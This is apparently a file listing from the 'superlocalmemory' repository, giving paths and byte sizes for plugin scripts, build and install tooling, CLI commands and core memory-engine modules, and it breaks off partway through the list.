bytesplugin/agents/slm-governance-advisor.mddoc7,865 bytesplugin/agents/slm-loop-runner.mddoc3,852 bytesplugin/agents/slm-memory-advisor.mddoc8,279 bytesplugin/agents/slm-optimize-advisor.mddoc3,072 bytesplugin/commands/slm-loop.mddoc1,839 bytesplugin/hooks/hooks.jsonasset2,425 bytesplugin/kimi.plugin.jsonasset624 bytesplugin/mcp.jsonasset279 bytesplugin/plugin.jsonasset628 bytesplugin/qwen-extension.jsonasset384 bytesplugin/requirements-cpu-torch.txtdoc648 bytesplugin/requirements.txtdoc25 bytesplugin/scripts/ensure-venv.batruns4,633 bytesplugin/scripts/ensure-venv.shruns7,465 bytesplugin/scripts/slm-launchruns9,226 bytesplugin/scripts/slm-launch.batruns1,510 bytesplugin/scripts/slm-resolve.shruns4,944 bytesplugin/scripts/slm-runruns3,047 bytesplugin/scripts/torch-cpu-resolve.shruns3,363 bytesplugin/settings.jsonasset886 bytespyproject.tomlasset12,639 bytesscripts/__tests__/build-all-plugins.test.mjsruns3,520 bytesscripts/__tests__/build-cursor-plugin.test.mjsruns6,625 bytesscripts/__tests__/build-plugin.test.mjsruns31,435 bytesscripts/_savings_math.pyruns10,484 bytesscripts/backfill_embeddings.pyruns13,692 bytesscripts/benchmarks/wp5-fidelity.pyruns4,022 bytesscripts/build-all-plugins.mjsruns1,701 bytesscripts/build-antigravity-plugin.mjsruns9,482 bytesscripts/build-codex-plugin.mjsruns11,668 bytesscripts/build-copilot-plugin.mjsruns10,940 bytesscripts/build-cursor-plugin.mjsruns10,299 bytesscripts/build-hermes-plugin.mjsruns4,016 bytesscripts/build-muse-plugin.mjsruns6,696 bytesscripts/build-plugin.mjsruns34,047 bytesscripts/build-slm-hook.ps1runs1,303 bytesscripts/build-slm-hook.shruns1,430 bytesscripts/build-vscode-agent-plugin.mjsruns4,632 bytesscripts/build_entry.pyruns15,210 bytesscripts/bump_version.pyruns16,988 bytesscripts/calibration_report.pyruns1,421 bytesscripts/check-no-internal-leaks.shruns4,339 bytesscripts/ci-gate.shruns2,769 bytesscripts/ci/stage5b_gate.shruns1,816 bytesscripts/claim_scanner.pyruns13,046 bytesscripts/demo_answer_check.pyruns12,941 bytesscripts/diagnose_m043.pyruns4,602 bytesscripts/dogfood_savings.pyruns17,266 bytesscripts/generate-thumbnails.pyruns8,206 bytesscripts/get-slm.ps1runs13,315 bytesscripts/get-slm.shruns13,975 bytesscripts/install-antigravity-plugin.shruns6,569 bytesscripts/install-skills.ps1runs284 bytesscripts/install-skills.shruns288 bytesscripts/install.ps1runs4,679 bytesscripts/install.shruns6,912 bytesscripts/integration_compatibility.pyruns21,012 bytesscripts/lock_media_env.pyruns3,089 bytesscripts/measure_media_ram.pyruns8,540 bytesscripts/media/README.mddoc1,359 bytesscripts/media/build-architecture.shruns579 bytesscripts/media/demo-memories.txtdoc2,886 bytesscripts/media/mmdc.cssasset229 bytesscripts/media/pp.jsonasset106 bytesscripts/media/record-entities.mjsruns886 bytesscripts/media/record-graph.mjsruns2,867 bytesscripts/media/record-health.mjsruns1,005 bytesscripts/media/record-lib.mjsruns3,127 bytesscripts/media/record-recall.mjsruns1,176 bytesscripts/media/reset-health-demo.pyruns1,325 bytesscripts/perf/recall_under_writes.pyruns21,197 bytesscripts/postinstall-interactive.jsruns33,599 bytesscripts/postinstall.jsruns21,759 bytesscripts/postinstall/deployment.jsruns4,430 bytesscripts/postinstall/engine-upgrade.jsruns4,432 bytesscripts/postinstall/ide-multiselect.jsruns7,282 bytesscripts/postinstall/media-request.jsruns8,059 bytesscripts/postinstall/node-arch.jsruns929 bytesscripts/postinstall/validation.jsruns6,408 bytesscripts/postinstall_binary.jsruns10,707 bytesscripts/prepack.jsruns1,308 bytesscripts/preuninstall.jsruns2,379 bytesscripts/publish-claude-plugin-repo.shruns526 bytesscripts/quality/answer_quality_eval.pyruns17,555 bytesscripts/quality/answerability_conditions.pyruns4,162 bytesscripts/quality/answerability_corpus.pyruns10,718 bytesscripts/quality/answerability_eval.pyruns30,260 bytesscripts/quality/answerability_fit.pyruns19,533 bytesscripts/quality/answerability_questions.pyruns12,648 bytesscripts/quality/run_memory_quality_performance_gate.pyruns13,678 bytesscripts/quality/wp6_measure.pyruns8,094 bytesscripts/quality/wp6_synthetic_store.pyruns2,240 bytesscripts/release/_lib.shruns5,156 bytesscripts/release/build-vsix.shruns1,762 bytesscripts/release/claude-plugin-repo.shruns3,976 bytesscripts/release/clawhub.shruns2,711 bytesscripts/release/dsh-bundle.shruns2,572 bytesscripts/release/github-release.shruns2,948 bytesscripts/release/hermes.shruns2,235 bytesscripts/release/listing-checklist.shruns1,185 bytesscripts/release/mcp-registry.shruns3,961 bytesscripts/release/openvsx.shruns1,823 bytesscripts/release/release_tools.pyruns11,544 bytesscripts/release_evidence.pyruns18,684 bytesscripts/release_manifest.pyruns8,417 bytesscripts/release_registry_guard.pyruns7,468 bytesscripts/run-ui-tests.mjsruns1,961 bytesscripts/slm-hook.specasset1,525 bytesscripts/start-dashboard.ps1runs1,826 bytesscripts/start-dashboard.shruns1,564 bytesscripts/sync-wiki.ps1runs4,782 bytesscripts/sync-wiki.shruns3,133 bytesscripts/test-npm-package.ps1runs3,197 bytesscripts/test-npm-package.shruns2,758 bytesscripts/verify-install.ps1runs9,890 bytesscripts/verify-install.shruns9,582 bytesscripts/verify-v27.ps1runs11,538 bytesscripts/verify-v27.shruns9,181 bytesserver.jsonasset1,100 bytessrc/superlocalmemory/__init__.pyruns3,518 bytessrc/superlocalmemory/access/__init__.pyruns149 bytessrc/superlocalmemory/access/rbac.pyruns27,756 bytessrc/superlocalmemory/access/rbac_admin.pyruns6,063 bytessrc/superlocalmemory/attribution/__init__.pyruns306 bytessrc/superlocalmemory/attribution/signer.pyruns5,619 bytessrc/superlocalmemory/attribution/watermark.pyruns6,185 bytessrc/superlocalmemory/brain/__init__.pyruns203 bytessrc/superlocalmemory/brain/truth.pyruns17,473 bytessrc/superlocalmemory/cache/__init__.pyruns988 bytessrc/superlocalmemory/cache/factory.pyruns5,857 bytessrc/superlocalmemory/cache/keys.pyruns2,310 bytessrc/superlocalmemory/cache/lru.pyruns9,145 bytessrc/superlocalmemory/cache/port.pyruns1,193 bytessrc/superlocalmemory/cache/sqlite_store.pyruns10,569 bytessrc/superlocalmemory/cache/tiered.pyruns2,532 bytessrc/superlocalmemory/cli/__init__.pyruns231 bytessrc/superlocalmemory/cli/__main__.pyruns567 bytessrc/superlocalmemory/cli/_lazy_init.pyruns3,876 bytessrc/superlocalmemory/cli/backup_cmd.pyruns8,873 bytessrc/superlocalmemory/cli/cache_cmd.pyruns6,235 bytessrc/superlocalmemory/cli/calibration_cmd.pyruns1,471 bytessrc/superlocalmemory/cli/commands.pyruns237,442 bytessrc/superlocalmemory/cli/compress_cmd.pyruns5,162 bytessrc/superlocalmemory/cli/connect_cmd.pyruns4,493 bytessrc/superlocalmemory/cli/context_commands.pyruns8,312 bytessrc/superlocalmemory/cli/corrections_cmd.pyruns5,927 bytessrc/superlocalmemory/cli/daemon.pyruns55,315 bytessrc/superlocalmemory/cli/daemon_diagnosis.pyruns5,730 bytessrc/superlocalmemory/cli/daemon_errors.pyruns1,482 bytessrc/superlocalmemory/cli/daemon_paths.pyruns4,274 bytessrc/superlocalmemory/cli/daemon_start_error.pyruns1,248 bytessrc/superlocalmemory/cli/daemon_startup.pyruns11,455 bytessrc/superlocalmemory/cli/db_migrate.pyruns5,865 bytessrc/superlocalmemory/cli/deployment.pyruns2,750 bytessrc/superlocalmemory/cli/diagnostics_cmd.pyruns3,536 bytessrc/superlocalmemory/cli/doctor_daemon.pyruns12,542 bytessrc/superlocalmemory/cli/doctor_hook_spool.pyruns1,863 bytessrc/superlocalmemory/cli/doctor_hosts.pyruns11,567 bytessrc/superlocalmemory/cli/doctor_mcp.pyruns869 bytessrc/superlocalmemory/cli/doctor_mesh.pyruns2,594 bytessrc/superlocalmemory/cli/doctor_models.pyruns2,397 bytessrc/superlocalmemory/cli/doctor_ops.pyruns4,573 bytessrc/superlocalmemory/cli/doctor_quantization.pyruns1,199 bytessrc/superlocalmemory/cli/doctor_refile.pyruns1,893 bytessrc/superlocalmemory/cli/doctor_repairs.pyruns2,585 bytessrc/superlocalmemory/cli/embedder_cmd.pyruns13,550 bytessrc/superlocalmemory/cli/enrich_cmd.pyruns5,929 bytessrc/superlocalmemory/cli/escape_hatch.pyruns9,534 bytessrc/superlocalmemory/cli/evidence_cmd.pyruns3,345 bytessrc/superlocalmemory/cli/features_cmd.pyruns3,231 bytessrc/superlocalmemory/cli/fidelity_cmd.pyruns11,312 bytessrc/superlocalmemory/cli/gdpr_cmd.pyruns30,967 bytessrc/superlocalmemory/cli/gdpr_io.pyruns9,034 bytessrc/superlocalmemory/cli/help_cmd.pyruns7,324 bytessrc/superlocalmemory/cli/host_upgrades.pyruns12,424 bytessrc/superlocalmemory/cli/ingest_cmd.pyruns12,327 bytessrc/superlocalmemory/cli/integrity_cmd.pyruns13,324 bytessrc/superlocalmemory/cli/json_output.pyruns2,791 bytessrc/superlocalmemory/cli/kinds_cmd.pyruns15,142 bytessrc/superlocalmemory/cli/laya_offer.pyruns6,781 bytessrc/superlocalmemory/cli/loop_cmd.pyruns6,202 bytessrc/superlocalmemory/cli/main.pyruns65,070 bytessrc/superlocalmemory/cli/media_cmd.pyruns8,898 bytessrc/superlocalmemory/cli/mesh_cmd.pyruns1,201 bytessrc/superlocalmemory/cli/migrate_cmd.pyruns1,746 bytessrc/superlocalmemory/cli/model_choice.pyruns5,019 bytessrc/superlocalmemory/cli/models_cmd.pyruns2,552 bytessrc/superlocalmemory/cli/mutation_conflict.pyruns1,000 bytessrc/superlocalmemory/cli/ops_cmd.pyruns14,915 bytessrc/superlocalmemory/cli/ops_repair_cmd.pyruns3,568 bytessrc/superlocalmemory/cli/optimize_cmd.pyruns6,444 bytessrc/superlocalmemory/cli/optimize_constants.pyruns1,054 bytessrc/superlocalmemory/cli/outcome_cmd.pyruns4,210 bytessrc/superlocalmemory/cli/pending_store.pyruns10,774 bytessrc/superlocalmemory/cli/provider_custom_endpoint.pyruns6,194 bytessrc/superlocalmemory/cli/proxy_cmd.pyruns3,858 bytessrc/superlocalmemory/cli/quantize_repair.pyruns7,312 bytessrc/superlocalmemory/cli/recall_text.pyruns7,307 bytessrc/superlocalmemory/cli/remote_commands.pyruns24,143 bytessrc/superlocalmemory/cli/repair_speaker_cmd.pyruns5,585 bytessrc/superlocalmemory/cli/save_completion.pyruns684 bytessrc/superlocalmemory/cli/scale_engine_cmd.pyruns3,467 bytessrc/superlocalmemory/cli/service_installer.pyruns9,571 bytessrc/superlocalmemory/cli/service_inventory.pyruns13,137 bytessrc/superlocalmemory/cli/service_live.pyruns3,516 bytessrc/superlocalmemory/cli/setup_wizard.pyruns34,984 bytessrc/superlocalmemory/cli/setup_wizard_flow.pyruns22,611 bytessrc/superlocalmemory/cli/sources_cmd.pyruns11,716 bytessrc/superlocalmemory/cli/star_prompt.pyruns3,594 bytessrc/superlocalmemory/cli/stdio_encoding.pyruns3,274 bytessrc/superlocalmemory/cli/summary_cmd.pyruns11,005 bytessrc/superlocalmemory/cli/team_cmd.pyruns5,735 bytessrc/superlocalmemory/cli/tools_cmd.pyruns2,158 bytessrc/superlocalmemory/cli/upgrade_cmd.pyruns8,681 bytessrc/superlocalmemory/cli/version_banner.pyruns7,197 bytessrc/superlocalmemory/cli/view_cmd.pyruns7,976 bytessrc/superlocalmemory/cli/warmup_readiness.pyruns4,115 bytessrc/superlocalmemory/cli/wizard_v3426_options.pyruns4,188 bytessrc/superlocalmemory/code_graph/__init__.pyruns1,137 bytessrc/superlocalmemory/code_graph/blast_radius.pyruns6,207 bytessrc/superlocalmemory/code_graph/bridge/__init__.pyruns1,570 bytessrc/superlocalmemory/code_graph/bridge/entity_resolver.pyruns17,429 bytessrc/superlocalmemory/code_graph/bridge/event_listeners.pyruns7,362 bytessrc/superlocalmemory/code_graph/bridge/fact_enricher.pyruns5,403 bytessrc/superlocalmemory/code_graph/bridge/hebbian_linker.pyruns5,409 bytessrc/superlocalmemory/code_graph/bridge/maintenance.pyruns9,441 bytessrc/superlocalmemory/code_graph/bridge/temporal_checker.pyruns4,923 bytessrc/superlocalmemory/code_graph/changes.pyruns12,120 bytessrc/superlocalmemory/code_graph/communities.pyruns9,773 bytessrc/superlocalmemory/code_graph/config.pyruns6,000 bytessrc/superlocalmemory/code_graph/database.pyruns19,653 bytessrc/superlocalmemory/code_graph/extractors/__init__.pyruns3,293 bytessrc/superlocalmemory/code_graph/extractors/python.pyruns15,786 bytessrc/superlocalmemory/code_graph/extractors/typescript.pyruns22,415 bytessrc/superlocalmemory/code_graph/flows.pyruns11,908 bytessrc/superlocalmemory/code_graph/git_hooks.pyruns7,189 bytessrc/superlocalmemory/code_graph/graph_engine.pyruns10,214 bytessrc/superlocalmemory/code_graph/graph_store.pyruns13,723 bytessrc/superlocalmemory/code_graph/incremental.pyruns6,377 bytessrc/superlocalmemory/code_graph/models.pyruns3,741 bytessrc/superlocalmemory/code_graph/parser.pyruns27,668 bytessrc/superlocalmemory/code_graph/resolver.pyruns12,348 bytessrc/superlocalmemory/code_graph/search.pyruns15,020 bytessrc/superlocalmemory/code_graph/service.pyruns3,271 bytessrc/superlocalmemory/code_graph/watcher.pyruns7,165 bytessrc/superlocalmemory/compliance/__init__.pyruns0 bytessrc/superlocalmemory/compliance/abac.pyruns6,928 bytessrc/superlocalmemory/compliance/audit.pyruns23,799 bytessrc/superlocalmemory/compliance/audit_verify_cache.pyruns6,690 bytessrc/superlocalmemory/compliance/erase_facts.pyruns4,160 bytessrc/superlocalmemory/compliance/erased_cases.pyruns7,359 bytessrc/superlocalmemory/compliance/erasure_backups.pyruns5,273 bytessrc/superlocalmemory/compliance/erasure_code_graph.pyruns3,940 bytessrc/superlocalmemory/compliance/erasure_outcome.pyruns9,905 bytessrc/superlocalmemory/compliance/erasure_sidecars.pyruns8,521 bytessrc/superlocalmemory/compliance/eu_ai_act.pyruns4,172 bytessrc/superlocalmemory/compliance/export_encoding.pyruns6,632 bytessrc/superlocalmemory/compliance/export_stream.pyruns3,442 bytessrc/superlocalmemory/compliance/gdpr.pyruns63,539 bytessrc/superlocalmemory/compliance/gdpr_export.pyruns17,565 bytessrc/superlocalmemory/compliance/gdpr_media_export.pyruns6,165 bytessrc/superlocalmemory/compliance/lifecycle.pyruns6,015 bytessrc/superlocalmemory/compliance/retention.pyruns17,582 bytessrc/superlocalmemory/compliance/scheduler.pyruns7,756 bytessrc/superlocalmemory/contracts/__init__.pyruns69 bytessrc/superlocalmemory/contracts/schemas/agent-experience-v1.schema.jsonasset3,101 bytessrc/superlocalmemory/contracts/schemas/agent-integration-contract-v2.schema.jsonasset1,641 bytessrc/superlocalmemory/contracts/schemas/cognitive-turn-receipt-v1.schema.jsonasset1,939 bytessrc/superlocalmemory/contracts/v402.pyruns2,185 bytessrc/superlocalmemory/core/__init__.pyruns0 bytessrc/superlocalmemory/core/actor_context.pyruns5,946 bytessrc/superlocalmemory/core/admission.pyruns29,983 bytessrc/superlocalmemory/core/admission_coverage.pyruns4,467 bytessrc/superlocalmemory/core/agent_attribution.pyruns4,939 bytessrc/superlocalmemory/core/answer_calibration.pyruns8,179 bytessrc/superlocalmemory/core/answer_check_deferred.pyruns8,245 bytessrc/superlocalmemory/core/answer_check_history.pyruns17,153 bytessrc/superlocalmemory/core/answer_check_history_stats.pyruns6,717 bytessrc/superlocalmemory/core/answer_check_history_store.pyruns24,192 bytessrc/superlocalmemory/core/answer_check_memo.pyruns12,031 bytessrc/superlocalmemory/core/answer_check_notice.pyruns3,370 bytessrc/superlocalmemory/core/answer_check_reload.pyruns2,279 bytessrc/superlocalmemory/core/answer_check_scope.pyruns3,248 bytessrc/superlocalmemory/core/answer_check_stage.pyruns18,301 bytessrc/superlocalmemory/core/answer_check_state.pyruns11,471 bytessrc/superlocalmemory/core/audit_record.pyruns1,649 bytessrc/superlocalmemory/core/backend_orchestrator.pyruns32,476 bytessrc/superlocalmemory/core/background_process.pyruns4,571 bytessrc/superlocalmemory/core/block_hygiene.pyruns4,978 bytessrc/superlocalmemory/core/bounded_embedding.pyruns975 bytessrc/superlocalmemory/core/calibration_candidates.pyruns2,129 bytessrc/superlocalmemory/core/calibration_control.pyruns4,500 bytessrc/superlocalmemory/core/calibration_examples.pyruns3,849 bytessrc/superlocalmemory/core/calibration_guard.pyruns3,152 bytessrc/superlocalmemory/core/calibration_measure.pyruns6,727 bytessrc/superlocalmemory/core/caller_session.pyruns3,734 bytessrc/superlocalmemory/core/community_summary.pyruns10,851 bytessrc/superlocalmemory/core/component_healer.pyruns5,393 bytessrc/superlocalmemory/core/component_registry.pyruns21,037 bytessrc/superlocalmemory/core/config.pyruns108,982 bytessrc/superlocalmemory/core/config_upgrades.pyruns3,740 bytessrc/superlocalmemory/core/consolidation_engine.pyruns42,291 bytessrc/superlocalmemory/core/context_cache.pyruns21,743 bytessrc/superlocalmemory/core/correction_protection.pyruns2,829 bytessrc/superlocalmemory/core/coverage_backfill.pyruns8,133 bytessrc/superlocalmemory/core/credential_shapes.pyruns18,963 bytessrc/superlocalmemory/core/daemon_text_embedder.pyruns7,800 bytessrc/superlocalmemory/core/data_locality.pyruns5,103 bytessrc/superlocalmemory/core/deferred_admission.pyruns7,547 bytessrc/superlocalmemory/core/delete_refusal.pyruns10,926 bytessrc/superlocalmemory/core/derivation_lineage.pyruns17,766 bytessrc/superlocalmemory/core/derived_cache_policy.pyruns2,090 bytessrc/superlocalmemory/core/description_metadata.pyruns3,391 bytessrc/superlocalmemory/core/egress_notice.pyruns2,206 bytessrc/superlocalmemory/core/embedding_endpoint_check.pyruns2,053 bytessrc/superlocalmemory/core/embedding_live.pyruns7,231 bytessrc/superlocalmemory/core/embedding_memory.pyruns4,699 bytessrc/superlocalmemory/core/embedding_providers.pyruns2,898 bytessrc/superlocalmemory/core/embedding_recipe.pyruns3,341 bytessrc/superlocalmemory/core/embedding_recipe_v1.pyruns787 bytessrc/superlocalmemory/core/embedding_reindex.pyruns31,643 bytessrc/superlocalmemory/core/embedding_reindex_activate.pyruns9,628 bytessrc/superlocalmemory/core/embedding_reindex_baselines.pyruns3,834 bytessrc/superlocalmemory/core/embedding_reindex_daemon.pyruns6,126 bytessrc/superlocalmemory/core/embedding_reindex_secrets.pyruns2,169 bytessrc/superlocalmemory/core/embedding_reindex_steps.pyruns11,067 bytessrc/superlocalmemory/core/embedding_worker.pyruns7,283 bytessrc/superlocalmemory/core/embeddings.pyruns49,390 bytessrc/superlocalmemory/core/engine.pyruns70,993 bytessrc/superlocalmemory/core/engine_capabilities.pyruns761 bytessrc/superlocalmemory/core/engine_ingestion.pyruns49,976 bytessrc/superlocalmemory/core/engine_lock.pyruns2,087 bytessrc/superlocalmemory/core/engine_upgrade.pyruns8,352 bytessrc/superlocalmemory/core/engine_wiring.pyruns32,322 bytessrc/superlocalmemory/core/enriched_fact.pyruns3,721 bytessrc/superlocalmemory/core/enrichment.pyruns12,693 bytessrc/superlocalmemory/core/entity_community.pyruns6,592 bytessrc/superlocalmemory/core/erasure_scrub.pyruns14,792 bytessrc/superlocalmemory/core/error_envelope.pyruns1,472 bytessrc/superlocalmemory/core/evidence_bundle.pyruns20,539 bytessrc/superlocalmemory/core/fact_consolidator.pyruns34,325 bytessrc/superlocalmemory/core/file_lock.pyruns2,912 bytessrc/superlocalmemory/core/graph_analyzer.pyruns16,954 bytessrc/superlocalmemory/core/graph_metrics.pyruns31,373 bytessrc/superlocalmemory/core/graph_metrics_process.pyruns5,210 bytessrc/superlocalmemory/core/graph_projection_check.pyruns5,895 bytessrc/superlocalmemory/core/graph_pruner.pyruns34,045 bytessrc/superlocalmemory/core/health_monitor.pyruns14,364 bytessrc/superlocalmemory/core/health_repairs.pyruns17,157 bytessrc/superlocalmemory/core/hooks.pyruns2,502 bytessrc/superlocalmemory/core/hopfield_config.pyruns3,045 bytessrc/superlocalmemory/core/ingest_gate.pyruns4,972 bytessrc/superlocalmemory/core/ingestion_command.pyruns45,511 bytessrc/superlocalmemory/core/ingestion_lease_owner.pyruns5,134 bytessrc/superlocalmemory/core/injection.pyruns17,765 bytessrc/superlocalmemory/core/install_detector.pyruns6,959 bytessrc/superlocalmemory/core/judge_keys.pyruns14,384 bytessrc/superlocalmemory/core/judge_selection.pyruns25,642 bytessrc/superlocalmemory/core/keep_worthiness.pyruns7,532 bytessrc/superlocalmemory/core/key_expander.pyruns5,398 bytessrc/superlocalmemory/core/kind_assignment.pyruns5,972 bytessrc/superlocalmemory/core/kind_on_resave.pyruns4,668 bytessrc/superlocalmemory/core/kind_query.pyruns9,368 bytessrc/superlocalmemory/core/kind_reconcile_task.pyruns8,256 bytessrc/superlocalmemory/core/kind_upgrade.pyruns4,880 bytessrc/superlocalmemory/core/langevin_tier.pyruns9,242 bytessrc/superlocalmemory/core/laya_interpreter.pyruns5,083 bytessrc/superlocalmemory/core/laya_jobs.pyruns7,645 bytessrc/superlocalmemory/core/laya_paths.pyruns3,713 bytessrc/superlocalmemory/core/laya_process.pyruns5,189 bytessrc/superlocalmemory/core/laya_remove.pyruns4,317 bytessrc/superlocalmemory/core/laya_runtime.pyruns32,352 bytessrc/superlocalmemory/core/laya_verify.pyruns6,208 bytessrc/superlocalmemory/core/laya_worker.pyruns18,821 bytessrc/superlocalmemory/core/legacy_source_admission.pyruns1,143 bytessrc/superlocalmemory/core/lifecycle_state.pyruns7,139 bytessrc/superlocalmemory/core/machine.pyruns1,145 bytessrc/superlocalmemory/core/maintenance.pyruns35,222 bytessrc/superlocalmemory/core/maintenance_scheduler.pyruns35,887 bytessrc/superlocalmemory/core/materialization_control.pyruns1,082 bytessrc/superlocalmemory/core/mcp_embedder_proxy.pyruns5,036 bytessrc/superlocalmemory/core/media_fetch.pyruns13,328 bytessrc/superlocalmemory/core/memory_health.pyruns19,508 bytessrc/superlocalmemory/core/memory_kind_backfill.pyruns23,154 bytessrc/superlocalmemory/core/memory_kind_backfill_plan.pyruns11,717 bytessrc/superlocalmemory/core/memory_kind_config.pyruns10,521 bytessrc/superlocalmemory/core/memory_kind_runs.pyruns8,279 bytessrc/superlocalmemory/core/memory_kind_wiring.pyruns3,068 bytessrc/superlocalmemory/core/metadata_guard.pyruns1,781 bytessrc/superlocalmemory/core/metadata_health.pyruns8,334 bytessrc/superlocalmemory/core/mode_capability.pyruns4,664 bytessrc/superlocalmemory/core/model_catalog.pyruns11,284 bytessrc/superlocalmemory/core/modes.pyruns9,828 bytessrc/superlocalmemory/core/mutation_routing.pyruns2,946 bytessrc/superlocalmemory/core/mutations.pyruns30,315 bytessrc/superlocalmemory/core/ollama_embedder.pyruns10,647 bytessrc/superlocalmemory/core/ollama_validator.pyruns11,762 bytessrc/superlocalmemory/core/one_model_default.pyruns2,495 bytessrc/superlocalmemory/core/open_correction.pyruns2,711 bytessrc/superlocalmemory/core/operation_policy.pyruns3,735 bytessrc/superlocalmemory/core/operation_policy_registry.pyruns23,633 bytessrc/superlocalmemory/core/operation_request.pyruns4,579 bytessrc/superlocalmemory/core/ops_inspection.pyruns13,548 bytessrc/superlocalmemory/core/ops_remediation.pyruns13,804 bytessrc/superlocalmemory/core/outbound_http.pyruns14,055 bytessrc/superlocalmemory/core/outbound_redaction.pyruns2,611 bytessrc/superlocalmemory/core/overtaken_cases.pyruns11,784 bytessrc/superlocalmemory/core/pii.pyruns3,824 bytessrc/superlocalmemory/core/platform_utils.pyruns6,421 bytessrc/superlocalmemory/core/process_role.pyruns975 bytessrc/superlocalmemory/core/profile_tombstones.pyruns4,655 bytessrc/superlocalmemory/core/profiles.pyruns9,869 bytessrc/superlocalmemory/core/progressive_abstraction.pyruns9,203 bytessrc/superlocalmemory/core/project_identity.pyruns4,706 bytessrc/superlocalmemory/core/projection_drain.pyruns21,922 bytessrc/superlocalmemory/core/provider_endpoint_trust.pyruns5,165 bytessrc/superlocalmemory/core/queryable_fact.pyruns1,368 bytessrc/superlocalmemory/core/queue_consumer.pyruns6,020 bytessrc/superlocalmemory/core/ram_lock.pyruns5,431 bytessrc/superlocalmemory/core/rate_limit.pyruns5,047 bytessrc/superlocalmemory/core/recall_gate.pyruns8,505 bytessrc/superlocalmemory/core/recall_layers.pyruns8,147 bytessrc/superlocalmemory/core/recall_pipeline.pyruns71,253 bytessrc/superlocalmemory/core/recall_queue.pyruns13,861 bytessrc/superlocalmemory/core/recall_worker.pyruns16,943 bytessrc/superlocalmemory/core/receipt_guard.pyruns875 bytessrc/superlocalmemory/core/registry.pyruns4,438 bytessrc/superlocalmemory/core/remember_admission.pyruns9,216 bytessrc/superlocalmemory/core/remember_replaces.pyruns20,808 bytessrc/superlocalmemory/core/remember_runtime.pyruns70,352 bytessrc/superlocalmemory/core/remote_mode.pyruns8,593 bytessrc/superlocalmemory/core/replaces_input.pyruns2,557 bytessrc/superlocalmemory/core/reranker_worker.pyruns18,916 bytessrc/superlocalmemory/core/safe_fs.pyruns3,679 bytessrc/superlocalmemory/core/scale_autopromote.pyruns7,568 bytessrc/superlocalmemory/core/scale_engine.pyruns41,471 bytessrc/superlocalmemory/core/score_contract.pyruns9,900 bytessrc/superlocalmemory/core/security_primitives.pyruns29,666 bytessrc/superlocalmemory/core/session_identity.pyruns4,651 bytessrc/superlocalmemory/core/shadow_router.pyruns15,968 bytessrc/superlocalmemory/core/slm_disabled.pyruns2,445 bytessrc/superlocalmemory/core/source_excerpt.pyruns1,224 bytessrc/superlocalmemory/core/source_fact_set.pyruns2,658 bytessrc/superlocalmemory/core/source_fidelity_guard.pyruns5,786 bytessrc/superlocalmemory/core/source_fidelity_quarantine.pyruns3,043 bytessrc/superlocalmemory/core/standing_rules.pyruns5,449 bytessrc/superlocalmemory/core/status_contract.pyruns4,353 bytessrc/superlocalmemory/core/store_pipeline.pyruns59,207 bytessrc/superlocalmemory/core/summarizer.pyruns6,122 bytessrc/superlocalmemory/core/support_fit_guard.pyruns3,053 bytessrc/superlocalmemory/core/support_stage.pyruns7,560 bytessrc/superlocalmemory/core/tag_identity.pyruns5,328 bytessrc/superlocalmemory/core/tag_query.pyruns5,118 bytessrc/superlocalmemory/core/text_provider.pyruns5,097 bytessrc/superlocalmemory/core/thread_join.pyruns2,498 bytessrc/superlocalmemory/core/tier_manager.pyruns15,603 bytessrc/superlocalmemory/core/topic_signature.pyruns7,000 bytessrc/superlocalmemory/core/transactions/__init__.pyruns1,891 bytessrc/superlocalmemory/core/transactions/concrete_owners.pyruns24,392 bytessrc/superlocalmemory/core/transactions/erase_redrive.pyruns12,858 bytessrc/superlocalmemory/core/transactions/erasure.pyruns26,871 bytessrc/superlocalmemory/core/transactions/manifest.pyruns6,994 bytessrc/superlocalmemory/core/transactions/manifest_key.pyruns5,264 bytessrc/superlocalmemory/core/transactions/obligations.pyruns13,434 bytessrc/superlocalmemory/core/transactions/owners.pyruns3,025 bytessrc/superlocalmemory/core/transactions/reconciler.pyruns10,568 bytessrc/superlocalmemory/core/transactions/service.pyruns12,483 bytessrc/superlocalmemory/core/transactions/tombstones.pyruns7,198 bytessrc/superlocalmemory/core/worker_pool.pyruns15,190 bytessrc/superlocalmemory/core/working_memory.pyruns10,935 bytessrc/superlocalmemory/core/writer_refusals.pyruns1,511 bytessrc/superlocalmemory/daemon/__init__.pyruns160 bytessrc/superlocalmemory/daemon/materializer.pyruns17,388 bytessrc/superlocalmemory/daemon/record_guardian.pyruns4,847 bytessrc/superlocalmemory/daemon/services.pyruns5,218 bytessrc/superlocalmemory/documents/__init__.pyruns894 bytessrc/superlocalmemory/documents/chunking.pyruns1,786 bytessrc/superlocalmemory/documents/heavy.pyruns904 bytessrc/superlocalmemory/documents/index.pyruns5,372 bytessrc/superlocalmemory/documents/lint.pyruns6,921 bytessrc/superlocalmemory/documents/pagefacts.pyruns2,485 bytessrc/superlocalmemory/documents/parse_proc.pyruns5,624 bytessrc/superlocalmemory/documents/pipeline.pyruns17,514 bytessrc/superlocalmemory/documents/runner.pyruns8,624 bytessrc/superlocalmemory/documents/status.pyruns6,046 bytessrc/superlocalmemory/documents/submit.pyruns17,735 bytessrc/superlocalmemory/dynamics/__init__.pyruns0 bytessrc/superlocalmemory/dynamics/activation_guided_quantization.pyruns12,737 bytessrc/superlocalmemory/dynamics/eap_scheduler.pyruns10,829 bytessrc/superlocalmemory/dynamics/ebbinghaus_langevin_coupling.pyruns6,332 bytessrc/superlocalmemory/dynamics/fisher_langevin_coupling.pyruns8,169 bytessrc/superlocalmemory/encoding/__init__.pyruns0 bytessrc/superlocalmemory/encoding/assertion_support.pyruns8,187 bytessrc/superlocalmemory/encoding/auto_linker.pyruns10,259 bytessrc/superlocalmemory/encoding/causal_evidence.pyruns2,263 bytessrc/superlocalmemory/encoding/ccq_dates.pyruns1,428 bytessrc/superlocalmemory/encoding/cognitive_consolidator.pyruns28,912 bytessrc/superlocalmemory/encoding/common_words.pyruns2,347 bytessrc/superlocalmemory/encoding/consolidator.pyruns22,043 bytessrc/superlocalmemory/encoding/context_generator.pyruns7,144 bytessrc/superlocalmemory/encoding/coverage_facts.pyruns4,156 bytessrc/superlocalmemory/encoding/data/common_english_words.txtdoc167,204 bytessrc/superlocalmemory/encoding/date_resolution.pyruns6,661 bytessrc/superlocalmemory/encoding/date_scan.pyruns630 bytessrc/superlocalmemory/encoding/emotional.pyruns7,619 bytessrc/superlocalmemory/encoding/entity_confirm.pyruns3,267 bytessrc/superlocalmemory/encoding/entity_fact_lookup.pyruns643 bytessrc/superlocalmemory/encoding/entity_lookup_index.pyruns9,561 bytessrc/superlocalmemory/encoding/entity_match.pyruns11,620 